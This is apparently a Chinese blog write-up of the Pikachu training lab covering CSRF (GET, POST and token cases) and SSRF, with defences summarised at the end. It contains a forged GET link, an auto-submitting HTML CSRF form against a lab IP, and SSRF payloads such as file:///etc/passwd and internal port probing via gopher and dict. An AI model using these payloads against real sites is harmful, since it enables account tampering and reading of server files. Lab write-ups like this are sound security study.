Pikachu靶场之csrf

CSRF

跨站请求伪造

CSRF入门及靶场实战 - FreeBuf网络安全行业门户

攻击者伪造恶意链接,诱使用户点击,这个链接附带了用户的认证凭据Cookie、Session等,执行操作如转账。 因为带了cookie、session,服务器认为是用户的行为。借用户的权限完成攻击

get型

lucy用户登录,修改个人信息,抓包,看到要修改的信息直接在url中

get请求并没有向后台发送token参数,说明后台是没有做防CSRF的措施

可以直接把url改一下,改成sex=boy

攻击者的恶意链接

http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

用户点击链接

成功改成男孩

post型

和get型不同,要修改的参数出现在消息体里,并且没有cookie和token参数

用bp来生成poc ,右键,点击generate csrf Poc ,修改值,勾选包含自动提交script

利用burp生成POC验证CSRF - FreeBuf网络安全行业门户

生成不了 就从网上复制了一个,保存为html,并用浏览器打开

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

​

访问这个html,成功修改

token型未成功

(1)客户端把用户的用户名和密码发到服务端

(2)服务端进行校验,校验成功会生成token, 把token发送给客户端

(3)客户端自己保存token, 再次请求就要在Http协议的请求头中带着token去访问服务端,和在服务端保存的token信息进行比对校验。(所以token只能与受害者用户一致)

前端会存储这个token,放在session或cookie中,token一般用完一次就会失效

要修改的参数在url里面,带了个token,而且这个token还是明文,没有加密

bp安装CSRF Token Tracker插件

pikachu--csrf token & token防爆破? - WangWangDui - 博客园 (cnblogs.com)

设置

重放,第一次修改信息能成功,第二次就不行了,因为ccokie失效了,每次刷新页面cookie都要变

HTTPS

突然好奇,要是用了https,流量加密了,还会好挖洞吗,会对传输的数据进行加密

为什么如此安全的https协议却仍然可以被抓包呢?_网络请求会被抓取吗-CSDN博客

SSRF

curl

点击链接,观察url

把url改成了百度

file_get_content

像远程文件包含

总结

csrf是一种在用户已经登录的状态下,通过伪造请求来执行非法操作

挖掘:如果没有Referer字段和token,那么极有可能存在CSRF漏洞

防范:

(1)增加Referer,记录了该 HTTP 请求的来源地址

(2)添加 Token,每次用完就失效

(3)同源策略SOP,

(4)使用验证码,对于敏感操作输入验证码进行验证

SSRF,服务器端请求伪造

如果url中含有share、wap、url、link、src、source、target、display、sourceURl、imageURL

、domain . 参数若是其他服务器地址,就可能有ssrf漏洞

可以用于探测内网端口开放,http://内网ip:22,http 协议进行内网探测

任意文件读取,url=file:///etc/passwd,,file 协议结合目录遍历读取文件

gopher 协议打开端口。

dict 协议主要用于结合 curl 攻击

ssrf防范

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求

限制不能访问内网的IP,以防止对内网进行攻击

相关推荐
麒麟而非淇淋14 分钟前
AJAX 入门 day1
前端·javascript·ajax
2401_8581205316 分钟前
深入理解MATLAB中的事件处理机制
前端·javascript·matlab
阿树梢21 分钟前
【Vue】VueRouter路由
前端·javascript·vue.js
随笔写2 小时前
vue使用关于speak-tss插件的详细介绍
前端·javascript·vue.js
史努比.2 小时前
redis群集三种模式:主从复制、哨兵、集群
前端·bootstrap·html
快乐牌刀片882 小时前
web - JavaScript
开发语言·前端·javascript
miao_zz3 小时前
基于HTML5的下拉刷新效果
前端·html·html5
Zd083 小时前
14.其他流(下篇)
java·前端·数据库
藤原拓远3 小时前
JAVAWeb-XML-Tomcat(纯小白下载安装调试教程)-HTTP
前端·firefox
重生之我在20年代敲代码3 小时前
HTML讲解(一)body部分
服务器·前端·html